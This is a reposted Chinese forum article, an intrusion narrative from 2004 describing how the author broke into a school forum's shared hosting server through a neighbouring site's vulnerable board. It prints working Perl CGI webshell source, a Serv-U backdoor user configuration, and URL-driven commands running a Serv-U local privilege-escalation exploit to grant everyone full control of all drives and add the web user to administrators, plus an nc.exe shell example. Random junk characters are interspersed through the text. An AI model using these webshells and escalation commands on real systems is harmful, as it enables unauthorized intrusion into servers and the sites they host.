找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2010|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
8 ?; q5 X( M4 s" n8 m本文作者:angel
, c5 k* c. F- K4 X7 a文章性质:原创8 K' A; T4 X& O# S; m# V$ J
发布日期:2004-11-09
, b' h! L7 C$ K0 X  ~) P  R( R# S注意:, M2 S6 e0 d9 M+ A: _8 |
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。/ d' N  h/ f" Y) {! _
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
- n7 Z6 P5 {# z7 A! o# z" e. R
& k, s1 o. g: m$ O  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
3 ]: {+ {5 W$ ]  b, y5 e. j: p+ a2 q$ ?1 O! B
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 / k" \2 {  _5 Z: |: Z# x

0 V8 s8 g1 C" q3 I1 a) J0 p  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
! w8 y- p! \% y* d3 r& d3 F3 Z; v% W! q
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
: e" e9 \% k; E1 X' [' |  _8 a4 X# i9 j8 W& s, G6 {+ d' @# H
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 & r9 X1 m# N* g+ b
  g+ a( \4 c3 J1 y+ e% n% y7 ?' P- q
  没有目的的跳转目录着…… ! z6 W% o7 U, _4 ?+ _) q+ Z6 A, @

# @, F2 }2 Y( }5 i, Y: l  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
: J, n- w0 O9 ^8 P0 |9 L! f8 Y/ `( \, {) c0 ^1 r0 N& S
  结束了吗?不,我试着 FTP 一下: ! ~3 ~* z! V/ S, o6 H
0 V) b( C2 X% _* J2 v% _- C
Microsoft Windows 2000 [Version 5.00.2195]# O& ?9 }# q  }' |% H7 H
(C) 版权所有 1985-2000 Microsoft Corp. - z" a2 ~7 `* Y: d5 T! n4 k+ o1 W

( Q0 s6 Z2 g- o2 J! w4 RC:\Documents and Settings\Administrator>ftp www.school.com
( H8 S! o+ ~9 C: h8 i) t3 yConnected to www. school.com.
+ m, |/ v- K, |) k1 ~220 Welcome to FTP Server...
% d* ?8 ~5 d6 h( RUser (www.bjtrq.com:(none)):
& S+ d+ \2 T% h331 User name okay, need password. : t  H" i6 T/ k3 J6 o  @
Password: / ]" e+ f! n  |8 ~* T# l" w- i
530 Not logged in. " B% C; l9 |! ~: A$ e& u7 _
Login failed. : ?4 \' A' _* J; o8 ~
ftp> bye - }+ E6 V( n  F$ v
221 Goodbye!
3 B- T8 I- b& U, [, Q/ O / f# I& j  Z' [) w" l5 }. I
" Q4 a$ J" o. y2 q( k  d9 K
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
+ d& W7 I* f. i2 D+ b5 J8 L5 g& h( [% P
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
: r* Y& f# J: T" }* P7 z% b1 p' u/ K: `' r9 M) h" Z
Application Data
9 m& L: U* C4 Y9 z% U: |3 X7 I9 ^Documents# `5 z7 |2 J5 v- z
DRM
. ]1 L/ ~8 h% _7 M8 ^1 BFavorites
/ s/ l9 ]# u- h3 \Templates
4 d8 x: Z7 M4 t& r. J( P. R「开始」菜单
( S9 @# Q$ i' Q/ K桌面
) f' j0 w+ T1 {. m/ T# o+ O7 o7 |$ r
" G  ~& }  H& u' l: K2 V! g, I. ^, b7 \6 a8 R
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 5 W9 @+ [# G# L! J* j4 P
3 c) v6 w+ n$ [* V' G
ActiveState ActivePerl 5.8$ V0 S- j+ D" G- N7 D
Administrative Tools
4 N* c4 T+ h, u# u. Y( ADeerfield.com
0 _: C* Y( _% }DTemp
# {$ w6 R$ ?: I) ^9 e1 p7 GIPSentry
* Q( o& x: l8 V( YMBM 5) g& e; G, O2 n, {( s6 E+ K
NetMeter
/ A; a! v; n0 x  wNetwork ICE. ^# q+ }! ?. `2 K3 A- Y
Persits Software AspEmail; t7 }. f9 g4 ?& k+ w
Persits Software AspJpeg+ V6 S: R' u. t6 Y6 S+ j
Serv-U FTP Server3 t) u7 U3 A, r* c2 l5 f1 ~$ v
Symantec Client Security
5 Q( x7 z$ M" G: F- A2 y4 TWindows 优化大师) I' Q7 p) @0 x& f+ l8 D9 e7 M3 u
WinRAR3 ~4 [0 g5 ^1 A7 R: b
启动
+ a% k: b2 A3 k( ?# n3 ~管理工具. E: m$ i( R6 N
附件
" p1 |. [, x) x9 l! m+ W   G  ]) o. _' S$ b

8 e1 V! U5 b% @9 |/ {  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 0 [+ U4 g: k: j* K

) c+ y7 S* w! R# E. e) i  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
7 L) }. w# [' K$ J  ]/ ?& L- g
4 h# t6 K% R7 V8 cUser281=angel|1|0
% Y. V- |* d% h- z8 }) b6 W& N4 \
- W1 J2 s9 A) j1 g" i: c2 o# v6 |+ Z9 q& }
  然后加上
6 f% V+ Q. {- @( d% s. O1 W. {# L. ]. P
[USER=angel|1]$ N  f# E% @& ~, [( g8 I8 k
Password=ng98F85379EA68DBF97BAADCA99B69B805
% ^' Z3 J- `. [) t6 C9 q7 `3 U6 e4 EHomeDir=D:\websites  q, V2 F8 v9 s& b! w5 S5 O
RelPaths=1
; K1 Z0 ~/ D  O' P/ ITimeOut=600
) {  w2 ^% n! K, X$ cMaintenance=System# J; Q: t' R; n1 j
Access1=D:\websites|RWAMELCDP
- z( C7 e- x- ]% ^. x- j- S7 kSKEYValues=
. @1 _$ H) X6 U7 Q# W' c 5 E4 P  q9 _( D4 x2 G* F

! r- l  y) g7 C/ ?+ S  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 9 C# o: g2 V9 O$ p6 {- V

- W$ s" g8 G1 ?2 }) R  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
: e. s4 e' a  x1 l  B; y1 k3 [+ D1 |& Y- g9 J
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 6 _% Y; K' }; K# O. p, O" {

# T! o% H5 E9 ?9 g" A* M  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
+ V8 r; L. l0 w, v2 \: n% y
1 d& _  ]/ J3 M: h#!/usr/bin/perl4 S  N( X) d5 @' j$ T
binmode(STDOUT);
; E% O$ `, b, [- C' l* d, Usyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
# V  V1 I) a$ _# q7 c& @$_ = $ENV{QUERY_STRING};" t4 H. w: j2 \
s/%20/ /ig;5 s" [8 {6 L9 S/ Q3 J* v
s/%2f/\//ig;" V3 v' N4 I, h+ M
$execthis = $_;
6 m! b, _! t/ U! a6 N" I/ Vsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);+ r! Y8 R. R6 i- n' n  `3 S0 r7 l
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
( \1 I5 h7 p$ _system($execthis);6 Z$ v' ?2 v) Q; g" i, Z0 W" m
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);* H3 I. w' b+ W& u. a8 f6 s! f
close(STDERR);
6 X0 U' l. p4 V! d# Q& kclose(STDOUT);
# P& p% B" ]+ C7 Fexit;' ]* |( \  S# m# c( F8 ?
8 F1 T% Q- N4 `/ c7 r

( I, {% i* I& n6 J! i! m: ~  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 4 T: S2 I; S/ {  A8 n
" c$ ^9 W7 n. Q7 [# B: ~5 Y
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 Y+ h$ k; U: N; ]7 k4 L* Y
( T9 w: D! f. ]! p$ H" Mhttp://anyhost//cmd.pl?d:\user\bin\su.exe
  ~$ a& G- N+ t# \ 4 Z1 k5 c' \9 {& y& }- z4 Y7 m% k
8 d6 e+ P2 D7 F; p
  返回:
1 K$ q* a3 n7 i8 M* L$ n2 T# @% R( H& k2 Z, @
Serv-u >3.x Local Exploit by xiaolu
: M, z2 u2 x) f1 I0 o5 P
  v- [8 N2 ~5 q1 T5 ~+ tUSAGE: serv-u.exe "command" 4 l0 A( R$ P- g" E. j  t( K" V

) U! D  W6 A  }) ]/ Z7 N. eExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" & J' p0 _, F) I

: |  Z# |3 L+ B; k( R2 ]; l6 M# T0 T
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 3 D3 O6 j  \' p7 p0 B# O+ Z) S

& n9 ]/ E: u  M! whttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" % g5 m5 h. ?2 t, G3 q
# e# c# c3 S3 S
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 1 d6 q2 R! [% O8 m' N% b$ v% J
: p% n6 x( u6 [
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 1 i& S5 I+ ?6 o" M+ p2 Z

# |5 W% m, m8 y* @http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"   D- \3 k( A/ h, z8 R* V. c/ F
8 b* F( ^+ I* }6 G

6 L: W1 C8 e& o5 U8 I; z( I  返回下面的信息,就表示成功了!!! 0 ^/ N/ k: }* y

: a) [- H; v# `2 k9 d* SServ-u >3.x Local Exploit by xiaolu ' k/ c+ \1 V, }& b4 _+ p! B5 k

8 P! S' e, U; b! H8 ~$ i: A' w<220 Serv-U FTP Server v5.2 for WinSock ready...
% J; o4 h, l9 g" K+ r. w' Q: s0 @2 \  A1 C. c
>USER LocalAdministrator
' t8 ?7 V2 t4 U! J: B- [) Y* n1 R$ ~* _: P5 s
<331 User name okay, need password. - M' b0 y+ b" a5 ?
8 _9 i8 d8 Y0 d3 f+ c
******************************************************
* v2 o+ Y- t" j# S; k) P
1 r- K- A! s3 U! ~$ b$ [>PASS #l@$ak#.lk;0@P
$ h- v; q% P! l! Y) s8 G' b; w3 c' J  {4 s+ A
<230 User logged in, proceed.
) G/ E! Y4 b. m9 b) x) z3 O, H4 |) _' P$ v" T/ M( i, b) h
****************************************************** ' b1 X. w+ J3 ^/ B3 B; [3 l

( v+ f: \: |6 X8 v8 U- b% E>SITE MAINTENANCE ) U- P4 d$ B. F
8 @; N2 p8 f0 V" V0 G
****************************************************** - ^$ S# G0 _0 b/ I

9 K' t5 L) V! Z1 i$ M( }  P+ V[+] Creating New Domain...
- L; I; ?2 l. j1 Y- N. h
% s* y3 B- k& X, n, w<200-DomainID=2 ! p, o/ Y, T8 }6 v- x" \* D
4 }9 J7 j- a3 U2 [* ?1 e
<220 Domain settings saved
( M! i9 o' U+ [: g! M2 Z4 q
8 s; {1 Z0 m  V2 q****************************************************** 0 s6 `& r5 h5 t! F; @: S2 r

- G$ h( v: q1 {! s# U) L1 K[+] Domain xl:2 Created 6 c! H9 ]/ B4 U6 z
$ V5 V( ~( K3 C# J
[+] Creating Evil User , D2 e8 @: t& |( A4 D

* `6 m5 P+ [9 ~$ c8 \. i& {" E% V. V# D: }<200-User=xl ! A: I+ H, _! o) d3 E8 i- r

( |1 ]  T- O9 G% ^200 User settings saved
/ U$ W0 ?0 L& z& [  O, L1 y0 B0 c) F+ a3 |
****************************************************** ; R7 _% n2 }4 D6 E
( B1 [: f$ [. \6 z
[+] Now Exploiting... 0 t! V% z5 g, |. @' P1 ?1 @+ J

, l- l( g$ E$ k9 r; c( ]3 g, Q>USER xl
8 ?+ u* }0 ?. p$ ]0 W$ [; v2 L
1 Y: T9 B  g* z<331 User name okay, need password. & N" A2 W/ z  F" T& e: H" _

  x- R  t$ s. t# d7 [/ m" y****************************************************** 8 I  f- R' f; B  P9 S2 G! T& ]0 {
& a7 x4 U7 F! d& z
>PASS 111111
! }* |9 @- y4 k8 t; Z& o4 X8 w$ w% [4 L0 c4 g( l- W1 C8 t1 V9 Y0 F/ C4 w
<230 User logged in, proceed.
+ @$ y1 u& E2 r. m; z+ w+ [0 h! P9 A8 M0 r, H9 v# H
****************************************************** 9 w$ _4 z! K4 C  j

3 O, T; k( k* r* `[+] Now Executing: cacls.exe c: /E /T /G everyone:F
3 X: _4 z. ~5 l- \; e- o4 g! e; ?. D  }
<220 Domain deleted
3 l9 c9 k9 Z( E( `, p
" c2 g8 t- `- M9 D  s****************************************************** 9 R- u3 o# ^1 z$ S5 y& W

* c# z$ M9 Y0 \; i+ s7 x3 G, z
6 g0 H. X$ {! I" F# y; Y+ M) r  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 5 @6 j/ I4 J9 U1 m6 I

3 [2 G/ X( ?% ^2 @$ A) f6 ~; l  vhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
+ j! o' g% X# a1 H9 q 1 m" b% R- S6 j3 c- |

$ Z- F: K/ K4 A7 c7 S, W  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
9 t+ C. h5 M0 d5 h. m  d1 t: q! B# F
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
$ H$ a! J' U- g; k 9 L3 ?0 i/ a( y4 ]6 U0 q% b: f. F
  
" S7 h  s: k! y" e9 p7 b2 b8 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表